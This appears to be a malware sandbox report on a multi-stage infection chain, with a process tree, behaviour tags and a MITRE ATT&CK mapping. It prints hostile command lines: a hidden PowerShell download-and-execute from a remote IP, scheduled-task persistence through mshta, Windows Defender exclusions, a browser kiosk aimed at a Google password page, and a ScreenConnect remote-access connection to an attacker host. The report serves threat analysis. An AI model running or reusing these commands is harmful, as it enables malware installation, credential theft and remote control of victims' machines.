PID 3060 wrote to memory of 2408	3060	2025-03-30_8c87bad579d801bb7bea5acc51e8fe5d_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	31
PID 3060 wrote to memory of 2408	3060	2025-03-30_8c87bad579d801bb7bea5acc51e8fe5d_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	31
PID 3060 wrote to memory of 2408	3060	2025-03-30_8c87bad579d801bb7bea5acc51e8fe5d_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	31
PID 1736 wrote to memory of 2340	1736	cmd.exe	33
PID 1736 wrote to memory of 2340	1736	cmd.exe	33
PID 1736 wrote to memory of 2340	1736	cmd.exe	33
PID 1736 wrote to memory of 2340	1736	cmd.exe	33
PID 2408 wrote to memory of 2328	2408	mshta.exe	34
PID 2408 wrote to memory of 2328	2408	mshta.exe	34
PID 2408 wrote to memory of 2328	2408	mshta.exe	34
PID 2408 wrote to memory of 2328	2408	mshta.exe	34
PID 2328 wrote to memory of 2992	2328	powershell.exe	36
PID 2328 wrote to memory of 2992	2328	powershell.exe	36
PID 2328 wrote to memory of 2992	2328	powershell.exe	36
PID 2328 wrote to memory of 2992	2328	powershell.exe	36
PID 2992 wrote to memory of 1756	2992	TempXTPC36KUFCC4457EXMNZBIOYS8DJALGB.EXE	37
PID 2992 wrote to memory of 1756	2992	TempXTPC36KUFCC4457EXMNZBIOYS8DJALGB.EXE	37
PID 2992 wrote to memory of 1756	2992	TempXTPC36KUFCC4457EXMNZBIOYS8DJALGB.EXE	37
PID 2992 wrote to memory of 1756	2992	TempXTPC36KUFCC4457EXMNZBIOYS8DJALGB.EXE	37
PID 1756 wrote to memory of 2956	1756	rapes.exe	40
PID 1756 wrote to memory of 2956	1756	rapes.exe	40
PID 1756 wrote to memory of 2956	1756	rapes.exe	40
PID 1756 wrote to memory of 2956	1756	rapes.exe	40
PID 2956 wrote to memory of 2064	2956	NP4kBrG.exe	41
PID 2956 wrote to memory of 2064	2956	NP4kBrG.exe	41
PID 2956 wrote to memory of 2064	2956	NP4kBrG.exe	41
PID 2956 wrote to memory of 1384	2956	NP4kBrG.exe	43
PID 2956 wrote to memory of 1384	2956	NP4kBrG.exe	43
PID 2956 wrote to memory of 1384	2956	NP4kBrG.exe	43
PID 2956 wrote to memory of 956	2956	NP4kBrG.exe	45
PID 2956 wrote to memory of 956	2956	NP4kBrG.exe	45
PID 2956 wrote to memory of 956	2956	NP4kBrG.exe	45
PID 2956 wrote to memory of 844	2956	NP4kBrG.exe	47
PID 2956 wrote to memory of 844	2956	NP4kBrG.exe	47
PID 2956 wrote to memory of 844	2956	NP4kBrG.exe	47
PID 2956 wrote to memory of 1952	2956	NP4kBrG.exe	49
PID 2956 wrote to memory of 1952	2956	NP4kBrG.exe	49
PID 2956 wrote to memory of 1952	2956	NP4kBrG.exe	49
PID 1756 wrote to memory of 2672	1756	rapes.exe	54
PID 1756 wrote to memory of 2672	1756	rapes.exe	54
PID 1756 wrote to memory of 2672	1756	rapes.exe	54
PID 1756 wrote to memory of 2672	1756	rapes.exe	54
PID 1756 wrote to memory of 2176	1756	rapes.exe	55
PID 1756 wrote to memory of 2176	1756	rapes.exe	55
PID 1756 wrote to memory of 2176	1756	rapes.exe	55
PID 1756 wrote to memory of 2176	1756	rapes.exe	55
PID 2156 wrote to memory of 1996	2156	taskeng.exe	57
PID 2156 wrote to memory of 1996	2156	taskeng.exe	57
PID 2156 wrote to memory of 1996	2156	taskeng.exe	57
PID 1756 wrote to memory of 1784	1756	rapes.exe	58
PID 1756 wrote to memory of 1784	1756	rapes.exe	58
PID 1756 wrote to memory of 1784	1756	rapes.exe	58
PID 1756 wrote to memory of 1784	1756	rapes.exe	58
PID 1784 wrote to memory of 2492	1784	75c64a5fe4.exe	59
PID 1784 wrote to memory of 2492	1784	75c64a5fe4.exe	59
PID 1784 wrote to memory of 2492	1784	75c64a5fe4.exe	59
PID 1784 wrote to memory of 2492	1784	75c64a5fe4.exe	59
PID 1784 wrote to memory of 1692	1784	75c64a5fe4.exe	61
PID 1784 wrote to memory of 1692	1784	75c64a5fe4.exe	61

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2025-03-30_8c87bad579d801bb7bea5acc51e8fe5d_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2025-03-30_8c87bad579d801bb7bea5acc51e8fe5d_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3060
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn 5ri88maP28C /tr "mshta C:\Users\Admin\AppData\Local\Temp\Qd8riT38L.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1736
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn 5ri88maP28C /tr "mshta C:\Users\Admin\AppData\Local\Temp\Qd8riT38L.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2340
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\Qd8riT38L.hta
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2408
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'XTPC36KUFCC4457EXMNZBIOYS8DJALGB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2328
  - - C:\Users\Admin\AppData\Local\TempXTPC36KUFCC4457EXMNZBIOYS8DJALGB.EXE
      "C:\Users\Admin\AppData\Local\TempXTPC36KUFCC4457EXMNZBIOYS8DJALGB.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Loads dropped DLL
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2992
    - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Loads dropped DLL
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1756
      - C:\Users\Admin\AppData\Local\Temp\10381290101\NP4kBrG.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10381290101\NP4kBrG.exe"
        6⤵
        Drops startup file
        Executes dropped EXE
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2956
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\10381290101\NP4kBrG.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2064
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'NP4kBrG.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1384
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\smss.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:956
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'smss.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:844
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "smss" /tr "C:\Users\Admin\AppData\Local\Temp\smss.exe"
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1952
      - C:\Users\Admin\AppData\Local\Temp\10381450101\9c32fb17b4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10381450101\9c32fb17b4.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2672
      - C:\Users\Admin\AppData\Local\Temp\10381460101\0eb65cfefc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10381460101\0eb65cfefc.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2176
      - C:\Users\Admin\AppData\Local\Temp\10381470101\75c64a5fe4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10381470101\75c64a5fe4.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:1784
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2492
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1692
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2888
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:392
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2364
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        7⤵
        
        PID:2348
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        8⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1704
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1704.0.1495202775\702543554" -parentBuildID 20221007134813 -prefsHandle 1272 -prefMapHandle 1260 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {1defe146-567b-4be4-841f-f8fd9f4fce5f} 1704 "\\.\pipe\gecko-crash-server-pipe.1704" 1368 45f2758 gpu
        9⤵
        
        PID:1800
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1704.1.164726948\339993801" -parentBuildID 20221007134813 -prefsHandle 1520 -prefMapHandle 1516 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ef59b93c-a630-4af4-b6e9-02233eb89de0} 1704 "\\.\pipe\gecko-crash-server-pipe.1704" 1532 44fb458 socket
        9⤵
        
        PID:568
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1704.2.71304211\1123630119" -childID 1 -isForBrowser -prefsHandle 1892 -prefMapHandle 1888 -prefsLen 21746 -prefMapSize 233444 -jsInitHandle 844 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6320b6e7-54ff-4297-8a30-f35650186033} 1704 "\\.\pipe\gecko-crash-server-pipe.1704" 1868 18e4f558 tab
        9⤵
        
        PID:2592
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1704.3.242283499\1856710447" -childID 2 -isForBrowser -prefsHandle 2740 -prefMapHandle 2736 -prefsLen 26151 -prefMapSize 233444 -jsInitHandle 844 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b800ee98-7bb0-4cb0-8a77-959133ce9a3f} 1704 "\\.\pipe\gecko-crash-server-pipe.1704" 2752 e64558 tab
        9⤵
        
        PID:2996
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1704.4.855048009\1879785595" -childID 3 -isForBrowser -prefsHandle 3812 -prefMapHandle 3808 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 844 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c0aafb9d-fdde-4b67-ab73-6dc3b0d77f50} 1704 "\\.\pipe\gecko-crash-server-pipe.1704" 3824 1eeb9e58 tab
        9⤵
        
        PID:564
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1704.5.1251832731\127858260" -childID 4 -isForBrowser -prefsHandle 3932 -prefMapHandle 3936 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 844 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {7d2d8319-a3fd-4b52-8746-d50862ecfd6b} 1704 "\\.\pipe\gecko-crash-server-pipe.1704" 3920 1eeb9858 tab
        9⤵
        
        PID:1412
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1704.6.1973818061\1873793797" -childID 5 -isForBrowser -prefsHandle 4112 -prefMapHandle 4116 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 844 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {58f77f72-5461-4a0e-b4f4-e19890cf6b35} 1704 "\\.\pipe\gecko-crash-server-pipe.1704" 4100 1ef9ab58 tab
        9⤵
        
        PID:1384
      - C:\Users\Admin\AppData\Local\Temp\10381480101\9d780b6f18.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10381480101\9d780b6f18.exe"
        6⤵
        Modifies Windows Defender DisableAntiSpyware settings
        Modifies Windows Defender Real-time Protection settings
        Modifies Windows Defender TamperProtection settings
        Modifies Windows Defender notification settings
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Windows security modification
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3352
      - C:\Users\Admin\AppData\Local\Temp\10381490101\78577724d0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10381490101\78577724d0.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3624
      - C:\Users\Admin\AppData\Local\Temp\10381500101\d22426bcf1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10381500101\d22426bcf1.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3880
      - C:\Users\Admin\AppData\Local\Temp\10381510101\532fd2aeef.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10381510101\532fd2aeef.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Loads dropped DLL
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2088
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10381510101\532fd2aeef.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1700
      - C:\Users\Admin\AppData\Local\Temp\10381520101\a4bb584db7.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10381520101\a4bb584db7.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Loads dropped DLL
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3848
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10381520101\a4bb584db7.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3688
      - C:\Users\Admin\AppData\Local\Temp\10381530101\70d75e69ad.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10381530101\70d75e69ad.exe"
        6⤵
        Executes dropped EXE
        
        PID:3180
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 3180 -s 64
        7⤵
        Loads dropped DLL
        
        PID:3216
      - C:\Users\Admin\AppData\Local\Temp\10381540101\4aa41be87a.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10381540101\4aa41be87a.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3368
      - C:\Users\Admin\AppData\Local\Temp\10381550101\A9cowK5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10381550101\A9cowK5.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3864
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.4.4.9118\f63a82ffaf9f93d1\ScreenConnect.ClientSetup.msi"
        7⤵
        Enumerates connected drives
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:3912
      - C:\Users\Admin\AppData\Local\Temp\10381560101\EPTwCQd.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10381560101\EPTwCQd.exe"
        6⤵
        
        PID:936

C:\Windows\explorer.exe
explorer.exe
1⤵
- Boot or Logon Autostart Execution: Active Setup
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2236

C:\Windows\system32\taskeng.exe
taskeng.exe {ACAFAF6F-9758-4683-BA43-61C573FFBF3B} S-1-5-21-3063565911-2056067323-3330884624-1000:KHBTHJFA\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2156
- C:\Users\Admin\AppData\Local\Temp\smss.exe
  C:\Users\Admin\AppData\Local\Temp\smss.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1996
- C:\Users\Admin\AppData\Local\Temp\smss.exe
  C:\Users\Admin\AppData\Local\Temp\smss.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2196

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
PID:3920
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding C1A7DC85C0D0DE76A5B67DE9BA51B217 C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3676
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIC69A.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_259573448 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:3740
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 710C335EDB53381774964B0F5FF8D0CE
  2⤵
  PID:1020
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding DB8C4DC25386892C1B9CF4859F2436E1 M Global\MSI0000
  2⤵
  PID:3864

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1744

C:\Windows\system32\DrvInst.exe
DrvInst.exe "1" "200" "STORAGE\VolumeSnapshot\HarddiskVolumeSnapshot19" "" "" "61530dda3" "0000000000000000" "00000000000005A8" "00000000000005DC"
1⤵
PID:1448

C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=horipalok.top&p=8880&s=ad6ebbe3-e789-4058-b8c7-24af2c9e25ee&k=BgIAAACkAABSU0ExAAgAAAEAAQC5i6E%2fahOoc3QJNQtEoGwqZ%2bCdopTN7JMVjs5O2%2byWcszBbL9cw0U4eUAs0O%2fTt9zZBA51c%2fc1w581kiibjAnZuVNxs1sd0hmNAlDUk8pZ2rgBfiLV%2bCX8Xr1w7PENGbO62O6bYrnCoADRGOr%2bDkAsD9fXZvt2bcWgAU%2fWsucxub7vyrOHFlg0dGlPivlEPgqdF06XmDqh%2bJaT9SNeX8GX5MokmbYgNKFgw6gHkSYgO0gvGb%2bWewn%2ftVekpiuFyJ1lPJvWo313f7%2bPZObMNedjqO8FM2Aja0gP8dtuw0AiY1EQOgSCC3o1fZAl%2fG4Li1yubMjusmlWyPSc3o3%2fusi%2b&t=30march"
1⤵
PID:3752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion